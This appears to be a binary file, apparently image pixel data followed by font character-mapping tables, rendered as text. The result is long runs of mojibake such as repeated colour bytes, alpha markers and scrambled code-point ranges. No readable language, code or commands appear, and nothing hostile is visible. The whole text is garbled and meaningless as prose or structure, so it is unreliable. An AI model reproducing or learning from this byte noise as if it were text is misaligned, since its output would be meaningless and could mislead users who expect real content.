,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ###ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿj(8ÿÑOnÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ«ÕõÿýþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿùùùÿSSSÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ.ÿ¶E`ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ›Ìôÿï÷ýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÜÜÜÿ333ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ'''ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ0CÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–ÊóÿÙìûÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¦¦¦ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿF%ÿÄJgÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ¹Ü÷ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿþþþÿmmmÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ***ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿž>>ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ0CÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ™Ìóÿìöýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ–––ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ³³³ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿªªªÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿF%ÿÄJgÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿÕêúÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÎÎÎÿ///ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ666ÿàààÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿñññÿ\\\ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿŸ%F ÿýÿýÿý J66666FFFF\\\\\\\\^\\\\F\\\\,,,,,,,,,@@@@JJJJJJJJJJJJ;DDD[kkk*kÿùk:::BBBBBBBB&&&&&&&&&&&&&&&&&&&&&&&&FFFFFFF22222222@@@@@@@@@@@@@@@@@@@@@@@@888888I2AJ&.=============='========HCCCCC"////7777777777777777744444444ÿçÿÙHH HOOOOOOOOOOOO*LLLL2222222###HHHHHHHHÿÒ///////////////////////// tRttaa/55555555=R1111111>>>>>>>>>>>>>>>>>>>>>>>FFFFFF/HH*AÿåBHHH4C//6/n7F0/*1/@<HHHOO2)2)y#ÿðHJ/444ttJJ5++21ÿõ'>!FF4ÿù2E29C/B////////////////////////////////QQQQQQQQQQQQQQOQOQQQQQQQQQÿñQQ Jl\8@&JD:BB&@K?ÿÿÿÿÿÿJÿÿ ÿÿ*H5FVA7=I"@;3 H/2>)IH9*FA==3>>=>I0Jt)¶¸¸èÊõÓhóÖÒÒ˲õjijsnohÑÏÛÓ€}€¥¥ JJl \.@@Eÿû:@&@K6@-"J\\l72JJ;ÿñE@?&l2.E@6,>J ÿý\2@&&=<Tt70IIM%H/HHC2%H@##&Q5"77tC5OO*ÿó$MIK /%x/0MHC %@H2=77I////CQQQÿå8O3*#.<>=58O8O3*#.<>=58O8O3*#.<>=58O¸¶¸¶ÿÿÈÈbg×R¸Ê3EÊE¹¯À*;FFFPP¸ˆv•ƒzZ•ƒzZ|YŽ<<>ÿcµ~ÈhjiJëJë@YYG0w><@\ÈhÈh”hÉhÈheÿóÿ÷FT|||@¦‰‰˜Œ‰Û¿ì㦉‰˜Œ‰Û¿ìã˜Äœ¥¡¥¢±¦¤ÖÇìã˜Äœ¥¡¥¢±¦¤ÖÇìã‘€…‘šª€ˆ·…œ©… µ0œ…š€Ö‘–t&|—ˆˆˆˆœƒ“€€¦ìا>$@C-`.OC[C5OY##4  5FFTF·FFtbFFFVF44FFIFÿóœæpÊ@<“î}! B,;J ]>Gf ÿôJ<9'H55AADDAA00 ÿã,7ÿãÿãÿð5ÿöÿüÿûÿÇÿÜÿñÿÙ.ÿêÿôJ#æ¸ÊÞ³“¤¤Z}Þuuà˜Þ}ànm˜ƒ¨©Ê»Ä.}™²ÞÆõu‚nf˜•˜•ƒ€‰zÊÒmtÒÒwx¨º©¡u‚ëB9ƒ‰ãËàÒÕºÕ"Ê­­­­Êm¨»Í»»ÄÅñ©uƒƒn˜Jè©©kºnfóÿ0ÿc€h€o€€•“/•“•“ƒ‰ƒ‰ƒ‰ ‘˜•uzsijjÿ»ÿ»ç£!!ç£ç£ç磣ÿ»ÿ»ÿ»ÿ»ç磣ÿ»ÿ»ÿ»ÿ»ç磣££££ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»KKç£ÿ»^ç^^ÿ»ÿ»ÿ»ç^^ÿ»ÿ»ÿ»ç^^ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»ÿ»çÿ»ÿ»çÿ»çççÿ»£ç£ÿ»£ÿ»£,ÿèÿÜÿÊ ,,5ÿö >Aÿðÿç$Ò,$ Òø ÷–›èRklšÁÂË€’§‘Çmnopqrstuv“”‡…ˆ˜æ ÃÉÄŒ½è !"#$%&'()*+,-./012345ÅÈÆŽ:=R^œ¥Ö *)+-KJLNipoqsr£¢¤¦Ì•VSίϙãáäéòM¹”‹‰ŠT™š¤¥Ž›&(u‡™—žWŸ¥¦•o69¤»‰ª«žŸœƒÝÁñhU£¤Í® ¡l8_7a]€‚~¢£¡ÓÔÒUêñóô÷õøöùë ®ªª/9@Z`z~€Š“¡°ÂÜãçëõÿ7C\ghnv{~„’•™Ÿ¢¤§°³¹¼¿ÁÌÑÞä  *,14=E_auz~ŠŒ¡©°ÁÎÑÕ×ÙÛÝá/_cu“›£«³·»ÂÑÙãéïóCIMPRX[œ »!+;IScgo…—žùÁÏßïþ    " & 0 3 5 : ? D I q y  ‰ Ž ” ¡ ¤ § © ¬ ® ² µ º ½!!!! !"!&!.!^!‰!™!¨!Ó""""""""")"+"7"H"a"e###!%Ÿ%¡%¬%º%Ä%Æ%Ì%Ï%Ù%æ&&&<&@&B&`&c&f&k''R'd'ç..%à¢à³ûþÿÿÿ 0:A[a{ Š’ ¯ÂÍâæêôø7CP^hjox}€‡”˜œ¡¤¦°²·»¾ÁÆÐØà#,.49@_atz~„ŒŽ‘£ª±ÂÐÕ×ÙÛÝá0br– ª®¶ºÀÏÔâæîòCGMORV[œ »  $2>RXfl~Žž ½ÍÝíý    & / 2 5 9 < D G p t } € ” ¡ £ ¦ © « ® ± ´ ¸ ½!!!! !"!&!.!P!‰!!¨!Ð""""""""")"+"7"H"`"d###%% %ª%²%¼%Æ%É%Ï%Ø%æ&&&:&@&B&`&c&e&j''R'd'æ.."à à°ûþÿÿÿ=ÿÁÿ»þÒÿoYÿ˜þ ÿƒÿ„ÿ†ÿ…ÿ„ÿƒÿÿƒÿxÿpÿo€%$#$    çæÿ;ÿ:ÿ.þïþÍþÌþÎþÈþÅþÐþÏþÎþÍþÊþïþ¿þêæææâæåæãææŽæ‡â-åiã™ãoädäcãjä$ã~ã|ãyã²ã·ã´ã³ã¶ã­ã¬ã©ã¡ã”âÅâÂãzãzâöãâáâ¡â™â–âTâiâpâlâGâ%áÜáàsßÞ÷ÞéÝÊÞºÞÁÞšÞ™ÞrÞmÞcݹÝjÝqÛõÕ¾Õ»%y%l ªÆÐØÞšœžž¼¾ÀÂÄÒÔèäæäæàìô "",028>HNPZ\^bfprxzz||xz„†ˆ–¨¾ÀÖØÞìü®¶º¾ÂÀØÚÖÚÞÞÚØÔÒÌæòððòìèîò –›èRklšÁÂË€’§‘Ç“”‡…ˆ˜æÃÉÄŒ½èÅÈÆŽo—VSQTÊÎòá&¥¨ãó•‹ðñé™Ï®øï(¦mno™6789:=MR]^_a~€‚üœ¡¢£¤¥‚¹ÒÓÔÖïý™ )*+-JKLNÌiopqrsƒ‡¢£¤¦¿ÍÁ;< @ S T!V#U"W$[(b.c/d1e0`,p<q=r>s?xC}IMƒO‰T†Q„UЊV‹WZŽ[]\•b”a™fj›hnÿΦt¨§u»‰¼Š¿‹½ŒÃ‘ĒǕœ̛͜ѡեקب٩ڪܬì¼ðÀñöÆøÈ÷ÇšWw²ã³? …P©v۫ݭޮ߯à°Ot@ªwo;šg> NºˆÈ–ÎÓÛÔÕÖרÙÚÝÞßàíðñòóÜëîïô2:?Aßô÷õùñöçH4;@Iûþ   "-./02467ýC#JE±³v­wxy|~¥z}œžŸ¦—‘’“”•– £¡¢¤ÿJKLMNOPQRS T U V W XYZ[\]^_`abcd*,-358<=QX%Y&Z'n:uAzEyD{G|HŒXY‘^’_“`–c—d˜ežkŸl m¸€¾ÀŽÁÂɗʘƔϞПé¹êºë»í½òÂùÉúÊûËF ABCDEFGHIJKLf2g3h4i5j6k7l8m9‡RˆS«x¬y­z®{¯|°}±~³‚´ƒµ„¶…·†á±â²ä´åµæ¶ç·è¸î¾óÃôÄõŶµ·ÁÄ»½¿¼¾ÀÂùº¸¬ª«­Ð¾œ ¢žŸ¡ÌͯlÑÕ¿ÀÒÔÓî1øù6gY]Uebckâx}~pqrstuvwyz{|©ª«¬µ¶­®¯°š¢¤„ž”“†×ØÙÚœ±²¼¾¿³´ÀÁµ¶ÆÂ÷¸ÄŹºÇÉݹú»ÈÓÔÜÏÑ $” !!–""›##è$$R%%k&&l''š()Á**Ë++€,,’--§..‘//Ç09m:;“<<‡==…>>ˆ??˜@@æAZ[[Ã\\É]]Ä^^Œ__½``èaz{{Å||È}}Æ~~Ž  o¡¡—¢¢V££S¤¤Q¥¥T¦¦ʧ§Ψ¨ò©©᪪&««¥¬¬­­¨®®㯯ó°°•±±‹²³ð´´éµµ™¶¶Ï··®¸¸ø¹¹ﺺ(»»¦¼¾m¿¿™ÀÄ6ÅÅ=ÆÆMÇÇRÈÊ]ËËaÌÎ~ÏÏ‚ÐÐüÑÑœÒÖ¡××‚ØØ¹ÙÛÒÜÜÖÝÝïÞÞýßß™àäåå ææççèê)ëë-ìîJïïNððÌññiòöo÷÷ƒøø‡ùû¢üü¦ýý¿þþÍÿÿÁ;< @ S T  !  V  #  U  "W$[(b.c/d1e0`,p<q=  r!!>""s##?$$x%%C&&}''I(())M**ƒ++O,,‰--T..†//Q00„11U2233Ð44Š55V66‹77W88Z99Ž::[;;<<]==>>\??•@@bAA”BBaCC™DDfEEFFjGG›HHhIInJJÿKKÎLL¦MMtNN¨OOPP§QQuRR»SS‰TT¼UUŠVV¿WW‹XX½YYŒZZÃ[[‘\\Ä]]’^^Ç__•``Åaa“bbÍccœddÌee›ffÑgg¡hhÕii¥jj×kk§llØmm¨nnÙoo©ppÚqqªrrÜss¬ttìuu¼vvðwwÀxxñyyözzÆ{{ø||È}}÷~~Çš€€ŠŠ\þ’’W““w  ²¡¡¯¯ã°°³ÂÂÍÍ?ÎÎ ÏÏ…ÐÐPÑÑ©ÒÒvÓÓÛÔÔ«ÕÕÝÖÖ­××ÞØØ®ÙÙßÚÚ¯ÛÛàÜܰââOããæætçç@êêªëëwôôoõõ;øøšùùgúú>ûû üüNýýþþºÿÿˆÈ–Î77ÏCCPPPÓQQÛRXÔY\Ý^gáhhìjjíknðovõx{ý}~€„‡’”•˜˜™™ÜœœëžîŸŸô¡¢¤¤¦§°°0²²2³³:··?¸¸A¹¹ß»¼à¾¿âÁÁäÆÌêÐÑ娨ôÙÙ÷ÚÚõÛÛùÜÜñÝÝöÞÞçààHáá4ââ;ãã@ääIûþ           " $#&-''2((4)*6,,8.1944=9=>@@ýAABBCCC#DDJEEE__FaaGtu¯zz´~~¬„„±……³††v‡‡­ˆŠwŒŒ{ŽŽ|~¥‘¡^£©oªªz««}¬¯œ°°¦±Á—ÃÉÊÊ ËË£ÌÍ¡ÎΤÐјÕÕš××§ÙÙ¨ÛÛ©Ýݪáá«ï/Ï0_bbÿccJrrssKttuuL‘‘M’’““N––——O˜˜™™Pšš››Q  ¡¡R¢¢££Sªª ««T®® ¯¯U°° ±±V²² ³³W¶¶ ··Xºº»»YÀÁÂÂZÏÏ[ÐÐÑÑ\ÔÔÕÕ]ÖÖ××^ØØÙÙ_ââãã`ææççaèèéébîîïïcòòóódCC)GG*HI,MM/OO3PP5RR7VV8WX<[[>œœ+  .»»BQ  X  %Y&Z'n:  u!!A$$z%%E&&y''D(({))G**|++H22Œ33X4455Y66‘77^88’99_::“;;`>>–??c@@—AAdBB˜CCeDDžEEkFFŸGGlHH IImRR¸SS€XX¾YYZZÀ[[Ž\\Á]]^^Â__``Éaa—bbÊcc˜ffÆgg”llÏmmžnnÐooŸ~~é¹€€êº‚‚냃»„„í……½ŽŽòÂù‘‘É’’ú““Ê””û••Ë––F—— žžË  A¡¡¢¢B££¤¤C¥¥¦¦D§§¨¨E©©ªªF««¬¬G­­®®H¯¯°°I±±²²J³³´´Kµµ¶¶L··¸¸f¹¹2ººg»»3¼¼h½½4¾¾i¿¿5ÀÀjÁÁ6ÂÂkÃÃ7ÄÄlÅÅ8ÆÆmÇÇ9ÈȇÉÉRÊʈËËSÌÌ«ÍÍxÎάÏÏyÐЭÑÑzÒÒ®ÓÓ{ÔÔ¯ÕÕ|ÖÖ°××}ØرÙÙ~ÚÚ³ÛÛ‚ÜÜ´Ý݃ÞÞµßß„àà¶áá…ââ·ãã†ääáå屿æâçç²èèäéé´êêåëëµììæíí¶îîçïï·ððèññ¸òòîóó¾ôôóõõÃööô÷÷Äøøõùù޽¶¾¾µ¿¿·ÀÀÁÁÁÄÍÍ»ÎνÏÏ¿ÝݼÞÞ¾ßßÀíîÂïï¹ýýºþþ¸  p  ©  ¬  ª  ­  Ð  ¾  œ     ¢  ž  ¡ !Ì " "¯ & &• / / 0 0l 2 3– 5 5˜ 9 :£ < <Ñ = =Õ > ?¿ D Dh G GÒ H HÔ I IÓ p pî q q1 t yò } ~ø  6 € ‰ü Ž ” ”F ¡ ¡X £ £g ¤ ¤Y ¦ §Z © ©\ « «] ¬ ¬U ® ®d ± ²^ ´ µ` ¸ ¸e ¹ ºb ½ ½f!!¦!!§!!k!!â! ! å!"!"ä!&!& !.!.¨!P!Px!Q!R}!S!Zp![!^y!‰!‰!!“©!”!•µ!–!™­!¨!¨·!Ð!Ó±""¡""š""¢""Ÿ""¥""¤""""i""„""ž""”""“")")’"+"+›"7"7£"H"H"`"`"a"a†"d"e‰##Þ##‘##×# #!œ%%Ÿs% 